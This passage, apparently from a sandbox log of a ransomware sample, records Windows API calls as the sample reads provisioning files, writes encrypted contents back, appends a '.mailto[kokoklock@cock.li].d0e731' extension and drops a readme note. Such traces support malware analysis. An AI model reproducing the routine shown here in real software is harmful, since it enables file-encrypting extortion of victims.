returned 1 [0086.484] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde48 [0086.484] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde98 [0086.484] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde98) returned 1 [0086.484] WriteFile (in: hFile=0x99c, lpBuffer=0x55dde48*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c33fc00, lpOverlapped=0x0 | out: lpBuffer=0x55dde48*, lpNumberOfBytesWritten=0x2c33fc00*=0x20, lpOverlapped=0x0) returned 1 [0086.484] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde48) returned 1 [0086.484] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.484] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.484] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0086.485] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0086.485] WriteFile (in: hFile=0x99c, lpBuffer=0x55dde70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2c33fc2c, lpOverlapped=0x0 | out: lpBuffer=0x55dde70*, lpNumberOfBytesWritten=0x2c33fc2c*=0x8, lpOverlapped=0x0) returned 1 [0086.485] WriteFile (in: hFile=0x99c, lpBuffer=0x2c33fc44*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c33fc2c, lpOverlapped=0x0 | out: lpBuffer=0x2c33fc44*, lpNumberOfBytesWritten=0x2c33fc2c*=0x4, lpOverlapped=0x0) returned 1 [0086.485] WriteFile (in: hFile=0x99c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c33fc2c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2c33fc2c*=0x4, lpOverlapped=0x0) returned 1 [0086.485] WriteFile (in: hFile=0x99c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2c33fc2c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2c33fc2c*=0x6c, lpOverlapped=0x0) returned 1 [0086.485] WriteFile (in: hFile=0x99c, lpBuffer=0x55ddf10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c33fc2c, lpOverlapped=0x0 | out: lpBuffer=0x55ddf10*, lpNumberOfBytesWritten=0x2c33fc2c*=0x20, lpOverlapped=0x0) returned 1 [0086.485] WriteFile (in: hFile=0x99c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c33fc2c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2c33fc2c*=0x4, lpOverlapped=0x0) returned 1 [0086.485] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddf10) returned 1 [0086.485] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddce0) returned 1 [0086.485] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde70) returned 1 [0086.485] CloseHandle (hObject=0x99c) returned 1 [0086.485] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x1b0) returned 0x33cc5f0 [0086.485] wcscpy (in: _Dest=0x33cc5f0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml" [0086.485] wcscat (in: _Dest=0x33cc5f0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0086.486] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\0__connections_cellular_albanian mobile communications (albania)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\0__connections_cellular_albanian mobile communications (albania)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.486] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.486] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cc5f0) returned 1 [0086.486] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0086.486] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a9c8 [0086.487] wcscpy (in: _Dest=0x348a9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.487] wcscat (in: _Dest=0x348a9c8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.487] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.487] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a9c8) returned 1 [0086.487] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cc0) returned 1 [0086.487] RtlExitUserThread (Status=0x1) Thread: id = 1262 os_tid = 0xe9c [0085.209] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\100__connections_cellular_telia dk (denmark)_i0$(__mvid)@wap.provxml")) returned 0x20 [0086.452] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0086.453] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\100__connections_cellular_telia dk (denmark)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x99c [0086.453] GetFileSizeEx (in: hFile=0x99c, lpFileSize=0x2c3bf750 | out: lpFileSize=0x2c3bf750*=658) returned 1 [0086.453] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x28e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.453] ReadFile (in: hFile=0x99c, lpBuffer=0x2c3bf724, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c3bf720, lpOverlapped=0x0 | out: lpBuffer=0x2c3bf724*, lpNumberOfBytesRead=0x2c3bf720*=0x4, lpOverlapped=0x0) returned 1 [0086.454] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.454] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddc68 [0086.454] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddce0 [0086.454] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dddf8 [0086.454] NtQuerySystemTime (in: CurrentTime=0x2c3bf6fc | out: CurrentTime=0x2c3bf6fc*=132121176443516641) returned 0x0 [0086.455] RtlRandom (in: Seed=0x2c3bf708 | out: Seed=0x2c3bf708) returned 0x61828350 [0086.455] RtlRandom (in: Seed=0x2c3bf708 | out: Seed=0x2c3bf708) returned 0x88a63436 [0086.455] RtlRandom (in: Seed=0x2c3bf708 | out: Seed=0x2c3bf708) returned 0x3a0a1680 [0086.455] RtlRandom (in: Seed=0x2c3bf708 | out: Seed=0x2c3bf708) returned 0x2aa2309b [0086.455] RtlRandom (in: Seed=0x2c3bf708 | out: Seed=0x2c3bf708) returned 0x8db2e471 [0086.455] RtlRandom (in: Seed=0x2c3bf708 | out: Seed=0x2c3bf708) returned 0xaf83ea6e [0086.455] RtlRandom (in: Seed=0x2c3bf708 | out: Seed=0x2c3bf708) returned 0x34db2cb4 [0086.455] RtlRandom (in: Seed=0x2c3bf708 | out: Seed=0x2c3bf708) returned 0x4c276c53 [0086.455] RtlRandom (in: Seed=0x2c3bf708 | out: Seed=0x2c3bf708) returned 0xa3d5bb3e [0086.455] RtlRandom (in: Seed=0x2c3bf708 | out: Seed=0x2c3bf708) returned 0xfd0c95d4 [0086.455] RtlRandom (in: Seed=0x2c3bf708 | out: Seed=0x2c3bf708) returned 0x58f886bd [0086.455] RtlRandom (in: Seed=0x2c3bf708 | out: Seed=0x2c3bf708) returned 0xc1f249c2 [0086.455] RtlRandom (in: Seed=0x2c3bf708 | out: Seed=0x2c3bf708) returned 0xda98fe11 [0086.455] RtlRandom (in: Seed=0x2c3bf708 | out: Seed=0x2c3bf708) returned 0x9de43a1f [0086.455] RtlRandom (in: Seed=0x2c3bf708 | out: Seed=0x2c3bf708) returned 0xf5dabf71 [0086.455] RtlRandom (in: Seed=0x2c3bf708 | out: Seed=0x2c3bf708) returned 0xdeadbab5 [0086.455] RtlRandom (in: Seed=0x2c3bf708 | out: Seed=0x2c3bf708) returned 0x91bbcdce [0086.455] RtlRandom (in: Seed=0x2c3bf708 | out: Seed=0x2c3bf708) returned 0xaa25f68c [0086.455] RtlRandom (in: Seed=0x2c3bf708 | out: Seed=0x2c3bf708) returned 0xfb92f36e [0086.455] RtlRandom (in: Seed=0x2c3bf708 | out: Seed=0x2c3bf708) returned 0xabffcc20 [0086.455] RtlRandom (in: Seed=0x2c3bf708 | out: Seed=0x2c3bf708) returned 0x8dbd57c [0086.455] RtlRandom (in: Seed=0x2c3bf708 | out: Seed=0x2c3bf708) returned 0x8109e16b [0086.455] RtlRandom (in: Seed=0x2c3bf708 | out: Seed=0x2c3bf708) returned 0x4e048af [0086.455] RtlRandom (in: Seed=0x2c3bf708 | out: Seed=0x2c3bf708) returned 0xd03a0dba [0086.455] RtlRandom (in: Seed=0x2c3bf708 | out: Seed=0x2c3bf708) returned 0xcf5d595f [0086.455] RtlRandom (in: Seed=0x2c3bf708 | out: Seed=0x2c3bf708) returned 0x5fbdfde1 [0086.455] RtlRandom (in: Seed=0x2c3bf708 | out: Seed=0x2c3bf708) returned 0x7c22d84a [0086.455] RtlRandom (in: Seed=0x2c3bf708 | out: Seed=0x2c3bf708) returned 0x4f5dd6d0 [0086.455] RtlRandom (in: Seed=0x2c3bf708 | out: Seed=0x2c3bf708) returned 0x5159fc88 [0086.455] RtlRandom (in: Seed=0x2c3bf708 | out: Seed=0x2c3bf708) returned 0xe8b5e1e1 [0086.455] RtlRandom (in: Seed=0x2c3bf708 | out: Seed=0x2c3bf708) returned 0xd4fe5768 [0086.455] RtlRandom (in: Seed=0x2c3bf708 | out: Seed=0x2c3bf708) returned 0x7ff14ded [0086.466] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480318) returned 1 [0086.466] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddc68) returned 1 [0086.466] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd2c8 [0086.466] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x34804f8 [0086.466] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddd08 [0086.466] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddd08) returned 1 [0086.466] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0086.466] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55de100 [0086.466] ReadFile (in: hFile=0x99c, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x292, lpNumberOfBytesRead=0x2c3bf6fc, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2c3bf6fc*=0x292, lpOverlapped=0x0) returned 1 [0086.466] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3bf6c4 | out: lpNewFilePointer=0x0) returned 1 [0086.466] WriteFile (in: hFile=0x99c, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x292, lpNumberOfBytesWritten=0x2c3bf6f8, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2c3bf6f8*=0x292, lpOverlapped=0x0) returned 1 [0086.466] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddec0 [0086.466] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddab0 [0086.466] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddab0) returned 1 [0086.466] WriteFile (in: hFile=0x99c, lpBuffer=0x55ddec0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c3bf6f4, lpOverlapped=0x0 | out: lpBuffer=0x55ddec0*, lpNumberOfBytesWritten=0x2c3bf6f4*=0x20, lpOverlapped=0x0) returned 1 [0086.467] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddec0) returned 1 [0086.467] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.467] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.467] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0086.467] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0086.467] WriteFile (in: hFile=0x99c, lpBuffer=0x55dde70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2c3bf720, lpOverlapped=0x0 | out: lpBuffer=0x55dde70*, lpNumberOfBytesWritten=0x2c3bf720*=0x8, lpOverlapped=0x0) returned 1 [0086.467] WriteFile (in: hFile=0x99c, lpBuffer=0x2c3bf738*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c3bf720, lpOverlapped=0x0 | out: lpBuffer=0x2c3bf738*, lpNumberOfBytesWritten=0x2c3bf720*=0x4, lpOverlapped=0x0) returned 1 [0086.467] WriteFile (in: hFile=0x99c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c3bf720, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2c3bf720*=0x4, lpOverlapped=0x0) returned 1 [0086.467] WriteFile (in: hFile=0x99c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2c3bf720, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2c3bf720*=0x6c, lpOverlapped=0x0) returned 1 [0086.467] WriteFile (in: hFile=0x99c, lpBuffer=0x55ddce0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2c3bf720, lpOverlapped=0x0 | out: lpBuffer=0x55ddce0*, lpNumberOfBytesWritten=0x2c3bf720*=0x20, lpOverlapped=0x0) returned 1 [0086.467] WriteFile (in: hFile=0x99c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c3bf720, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2c3bf720*=0x4, lpOverlapped=0x0) returned 1 [0086.467] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddce0) returned 1 [0086.467] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddd30) returned 1 [0086.467] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde70) returned 1 [0086.467] CloseHandle (hObject=0x99c) returned 1 [0086.468] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x188) returned 0x34207d8 [0086.468] wcscpy (in: _Dest=0x34207d8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml" [0086.468] wcscat (in: _Dest=0x34207d8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0086.468] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\100__connections_cellular_telia dk (denmark)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\100__connections_cellular_telia dk (denmark)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.468] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.469] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34207d8) returned 1 [0086.469] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0086.469] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0086.469] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.469] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.469] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.469] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0086.469] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479e38) returned 1 [0086.469] RtlExitUserThread (Status=0x1) Thread: id = 1263 os_tid = 0xd20 [0085.210] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\101__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0086.418] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 1 [0086.435] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\101__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x99c [0086.435] GetFileSizeEx (in: hFile=0x99c, lpFileSize=0x2c43fbac | out: lpFileSize=0x2c43fbac*=466) returned 1 [0086.435] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x1ce, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.435] ReadFile (in: hFile=0x99c, lpBuffer=0x2c43fb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c43fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2c43fb80*, lpNumberOfBytesRead=0x2c43fb7c*=0x4, lpOverlapped=0x0) returned 1 [0086.436] SetFilePointerEx (in: hFile=0x99c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.436] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dddf8 [0086.436] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddf10 [0086.436] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddbf0 [0086.436] NtQuerySystemTime (in: CurrentTime=0x2c43fb58 | out: CurrentTime=0x2c43fb58*=132121176443360776) returned 0x0 [0086.436] RtlRandom (in: Seed=0x2c43fb64 | out: Seed=0x2c43fb64) returned 0x238442c6 [0086.436] RtlRandom (in: Seed=0x2c43fb64 | out: Seed=0x2c43fb64) returned 0x4b6e440f [0086.436] RtlRandom (in: Seed=0x2c43fb64 | out: Seed=0x2c43fb64) returned 0x7c1f4459 [0086.436] RtlRandom (in: Seed=0x2c43fb64 | out: Seed=0x2c43fb64) returned 0x793780eb [0086.436] RtlRandom (in: Seed=0x2c43fb64 | out: Seed=0x2c43fb64) returned 0xc09915ce [0086.436] RtlRandom (in: Seed=0x2c43fb64 | out: Seed=0x2c43fb64) returned 0x64783d57 [0086.436] RtlRandom (in: Seed=0x2c43fb64 | out: Seed=0x2c43fb64) returned 0xb2ba9e94 [0086.436] RtlRandom (in: Seed=0x2c43fb64 | out: Seed=0x2c43fb64) returned 0xc3a7aeff [0086.436] RtlRandom (in: Seed=0x2c43fb64 | out: Seed=0x2c43fb64) returned 0x27134bbf [0086.436] RtlRandom (in: Seed=0x2c43fb64 | out: Seed=0x2c43fb64) returned 0x77175fc [0086.436] RtlRandom (in: Seed=0x2c43fb64 | out: Seed=0x2c43fb64) returned 0x95f10fe2 [0086.436] RtlRandom (in: Seed=0x2c43fb64 | out: Seed=0x2c43fb64) returned 0x2829caef [0086.436] RtlRandom (in: Seed=0x2c43fb64 | out: Seed=0x2c43fb64) returned 0x4e6f1f6 [0086.437] RtlRandom (in: Seed=0x2c43fb64 | out: Seed=0x2c43fb64) returned 0x96e7d01d [0086.437] RtlRandom (in: Seed=0x2c43fb64 | out: Seed=0x2c43fb64) returned 0xcc3cadc [0086.437] RtlRandom (in: Seed=0x2c43fb64 | out: Seed=0x2c43fb64) returned 0x4ed01fbd [0086.437] RtlRandom (in: Seed=0x2c43fb64 | out: Seed=0x2c43fb64) returned 0x85b3445e [0086.437] RtlRandom (in: Seed=0x2c43fb64 | out: Seed=0x2c43fb64) returned 0xfd0cbc5f [0086.437] RtlRandom (in: Seed=0x2c43fb64 | out: Seed=0x2c43fb64) returned 0x27ec3a99 [0086.437] RtlRandom (in: Seed=0x2c43fb64 | out: Seed=0x2c43fb64) returned 0xa20fe1af [0086.437] RtlRandom (in: Seed=0x2c43fb64 | out: Seed=0x2c43fb64) returned 0x9c81d7be [0086.437] RtlRandom (in: 